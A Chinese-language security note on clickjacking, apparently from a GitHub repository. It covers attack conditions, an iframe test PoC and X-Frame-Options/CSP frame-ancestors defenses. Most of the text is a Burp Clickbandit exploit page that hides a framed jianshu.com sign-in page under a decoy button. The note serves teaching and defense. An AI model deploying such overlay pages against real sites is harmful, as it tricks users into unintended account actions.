Skip to content

Latest commit

 

History

History
168 lines (156 loc) · 9.48 KB

web_vul_ClickJacking.md

File metadata and controls

168 lines (156 loc) · 9.48 KB

简介

  • 漏洞名称:点击劫持(ClickJacking) UI覆盖(UI Redressing)
  • 攻击条件:
    • HTTP Response Header 中 X-FRAME-OPTIONS 没有设置为 DENYSAMEORIGIN
    • 没有设置严格的内容安全策略(CSP,Content-Security-Policy)
      • HTTP Response Header Content-Security-Policy: xxx
      • HTTP Response Body <meta http-equiv="Content-Security-Policy" content="xxx">

漏洞检测

PoC

如果 "被嵌入站"https://pay.org/donate/ 在 "嵌入站"any-site.comiframe标签中时, 可以正常访问, 则 "被嵌入站" 存在点击劫持(ClickJacking).

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta http-equiv="refresh" content="5">
<title>i Frame</title>
</head>
<body>
<center><h1>THIS PAGE IS VULNERABLE TO CLICKJACKING</h1>
<iframe src="https://pay.org/donate/" frameborder="0 px" height="1200px" width="1920px"></iframe>
</center>
</body>
</html>

漏洞危害

诱导victim访问存在EXP的第三方web网站3.com/vulnerable, 并点击看到的页面某处(看起来是按钮), 其实用户点击的是pay.com的某处, 从而实现恶意操作: 创建用户、更改密码、删除帐户 ...

ClickJacking_EXP.html代码如下:

<!--
将该html文件放在第三方网站`3.com/EXP.html`
如果victim访问该页面,并被诱导点击了一下"红框",就完成了点击劫持:实际victim点击的是目标网站jianshu.com的"登录"按钮
-->

<div id="container" style="clip-path: none; clip: auto; overflow: visible; position: absolute; left: 0px; top: 0px; width: 100%; height: 100%;">
<!-- Clickjacking PoC Generated by Burp Suite Professional -->
<input id="clickjack_focus" style="opacity:0;position:absolute;left:-5000px;">
<div id="clickjack_button" style="opacity: 1; transform-style: preserve-3d; text-align: center; font-family: Arial; font-size: 100%; width: 300px; height: 43px; z-index: 0; background-color: red; color: rgb(255, 255, 255); position: absolute; left: 200px; top: 200px;"><div style="position:relative;top: 50%;transform: translateY(-50%);">Click</div></div>
<!-- Show this element when clickjacking is complete -->
<div id="clickjack_complete" style="display: none; transform-style: preserve-3d; font-family: Arial; font-size: 16pt; color: red; text-align: center; width: 100%; height: 100%;"><div style="position:relative;top: 50%;transform: translateY(-50%);">You've been clickjacked!</div></div>
<iframe id="parentFrame" src="data:text/html;base64,PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIGZ1bmN0aW9uKGUpeyB2YXIgZGF0YSwgY2hpbGRGcmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGlsZEZyYW1lIik7IHRyeSB7IGRhdGEgPSBKU09OLnBhcnNlKGUuZGF0YSk7IH0gY2F0Y2goZSl7IGRhdGEgPSB7fTsgfSBpZighZGF0YS5jbGlja2JhbmRpdCl7IHJldHVybiBmYWxzZTsgfSBjaGlsZEZyYW1lLnN0eWxlLndpZHRoID0gZGF0YS5kb2NXaWR0aCsicHgiO2NoaWxkRnJhbWUuc3R5bGUuaGVpZ2h0ID0gZGF0YS5kb2NIZWlnaHQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLmxlZnQgPSBkYXRhLmxlZnQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLnRvcCA9IGRhdGEudG9wKyJweCI7fSwgZmFsc2UpOzwvc2NyaXB0PjxpZnJhbWUgc3JjPSJodHRwczovL3d3dy5qaWFuc2h1LmNvbS9zaWduX2luIiBzY3JvbGxpbmc9Im5vIiBzdHlsZT0id2lkdGg6OTMxcHg7aGVpZ2h0Ojc1MHB4O3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTExN3B4O3RvcDotMTkxcHg7Ym9yZGVyOjA7IiBmcmFtZWJvcmRlcj0iMCIgaWQ9ImNoaWxkRnJhbWUiIG9ubG9hZD0icGFyZW50LnBvc3RNZXNzYWdlKEpTT04uc3RyaW5naWZ5KHtjbGlja2JhbmRpdDoxfSksJyonKSI+PC9pZnJhbWU+" frameborder="0" scrolling="no" style="transform: scale(1); transform-origin: 200px 200px; opacity: 0.5; border: 0px; position: absolute; z-index: 1; width: 931px; height: 750px; left: 0px; top: 0px;"></iframe>
</div>
<script>function findPos(obj) {
	    var left = 0, top = 0;
	    if(obj.offsetParent) {
	        while(1) {
	          left += obj.offsetLeft;
	          top += obj.offsetTop;
	          if(!obj.offsetParent) {
	            break;
	          }
	          obj = obj.offsetParent;
	        }
	    } else if(obj.x && obj.y) {
	        left += obj.x;
	        top += obj.y;
	    }
	    return [left,top];
  	}function generateClickArea(pos) {
			var elementWidth, elementHeight, x, y, parentFrame = document.getElementById('parentFrame'), desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight, docWidth, docHeight,
				btn = document.getElementById('clickjack_button');
			if(pos < window.clickbandit.config.clickTracking.length) {
				clickjackCompleted(false);
				elementWidth = window.clickbandit.config.clickTracking[pos].width;
				elementHeight = window.clickbandit.config.clickTracking[pos].height;
				btn.style.width = elementWidth + 'px';
				btn.style.height = elementHeight + 'px';
				window.clickbandit.elementWidth = elementWidth;
				window.clickbandit.elementHeight = elementHeight;
				x = window.clickbandit.config.clickTracking[pos].left;
				y = window.clickbandit.config.clickTracking[pos].top;
				docWidth = window.clickbandit.config.clickTracking[pos].documentWidth;
				docHeight = window.clickbandit.config.clickTracking[pos].documentHeight;
				parentOffsetWidth = desiredX - x;
				parentOffsetHeight = desiredY - y;
				parentFrame.style.width = docWidth+'px';
				parentFrame.style.height = docHeight+'px';
				parentFrame.contentWindow.postMessage(JSON.stringify({clickbandit: 1, docWidth: docWidth, docHeight: docHeight, left: parentOffsetWidth, top: parentOffsetHeight}),'*');
				calculateButtonSize(getFactor(parentFrame));
				showButton();
				if(parentFrame.style.opacity === '0') {
					calculateClip();
				}
			} else {
				resetClip();
				hideButton();
				clickjackCompleted(true);
			}
		}function hideButton() {
			var btn = document.getElementById('clickjack_button');
			btn.style.opacity = 0;
		}function showButton() {
			var btn = document.getElementById('clickjack_button');
			btn.style.opacity = 1;
		}function clickjackCompleted(show) {
			var complete = document.getElementById('clickjack_complete');
			if(show) {
				complete.style.display = 'block';
			} else {
				complete.style.display = 'none';
			}
		}window.addEventListener("message", function handleMessages(e){
			var data;
			try {
				data = JSON.parse(e.data);
			} catch(e){
				data = {};
			}
			if(!data.clickbandit) {
				return false;
			}
			showButton();
		},false);window.addEventListener("blur", function(){ if(window.clickbandit.mouseover) { hideButton();setTimeout(function(){ generateClickArea(++window.clickbandit.config.currentPosition);document.getElementById("clickjack_focus").focus();},1000); } }, false);document.getElementById("parentFrame").addEventListener("mouseover",function(){ window.clickbandit.mouseover = true; }, false);document.getElementById("parentFrame").addEventListener("mouseout",function(){ window.clickbandit.mouseover = false; }, false);</script><script>window.clickbandit={mode: "review", mouseover:false,elementWidth:300,elementHeight:43,config:{"clickTracking":[{"width":300,"height":43,"mouseX":469,"mouseY":410,"left":317,"top":391,"documentWidth":931,"documentHeight":750}],"currentPosition":0}};function calculateClip() {
			var btn = document.getElementById('clickjack_button'), w = btn.offsetWidth, h = btn.offsetHeight, container = document.getElementById('container'), x = btn.offsetLeft, y = btn.offsetTop;
			container.style.overflow = 'hidden';
			container.style.clip = 'rect('+y+'px, '+(x+w)+'px, '+(y+h)+'px, '+x+'px)';
			container.style.clipPath = 'inset('+y+'px '+(x+w)+'px '+(y+h)+'px '+x+'px)';
		}function calculateButtonSize(factor) {
			var btn = document.getElementById('clickjack_button'), resizedWidth = Math.round(window.clickbandit.elementWidth * factor), resizedHeight = Math.round(window.clickbandit.elementHeight * factor);
			btn.style.width = resizedWidth + 'px';
			btn.style.height = resizedHeight + 'px';
			if(factor > 100) {
				btn.style.fontSize = '400%';
			} else {
				btn.style.fontSize = (factor * 100) + '%';
			}
		}function resetClip() {
			var container = document.getElementById('container');
			container.style.overflow = 'visible';
			container.style.clip = 'auto';
			container.style.clipPath = 'none';
		}function getFactor(obj) {
			if(typeof obj.style.transform === 'string') {
				return obj.style.transform.replace(/[^\d.]/g,'');
			}
			if(typeof obj.style.msTransform === 'string') {
				return obj.style.msTransform.replace(/[^\d.]/g,'');
			}
			if(typeof obj.style.MozTransform === 'string') {
				return obj.style.MozTransform.replace(/[^\d.]/g,'');
			}
			if(typeof obj.style.oTransform === 'string') {
				return obj.style.oTransform.replace(/[^\d.]/g,'');
			}
			if(typeof obj.style.webkitTransform === 'string') {
				return obj.style.webkitTransform.replace(/[^\d.]/g,'');
			}
			return 1;
		}</script>

SDL - 防御与修复方案

  • 1.在HTTP Response Header 中设置 X-Frame-Options: DENYX-Frame-Options: SAMEORIGIN
  • 2.设置严格的内容安全策略(CSP,Content-Security-Policy) - 具体就是使用frame-ancestors指令 控制 "被嵌入站" 能被嵌入到哪些地方 (可指定一个或多个源)
    • Content-Security-Policy: frame-ancestors 'none' ( "被嵌入站" 不可被展示在 "任何站" 的iframe.)
    • Content-Security-Policy: frame-ancestors 'self' (The page can only be displayed in a frame on the same origin as the page itself. 只有 "嵌入站" 和 "被嵌入站" 是同源时, 该iframe可展示.)
    • Content-Security-Policy: frame-ancestors uri (The page can only be displayed in a frame on the specified origins. 如果 "嵌入站" 符合 "被嵌入站" 指定的uri时, "被嵌入站" 可以展示在这个 "嵌入站" 中的iframe.)
    • 例如 指定这2种源, 嵌入站符合这2个条件之一时, 被嵌入站即可在iframe中展示. Content-Security-Policy: frame-ancestors 'self' https://www.example.org;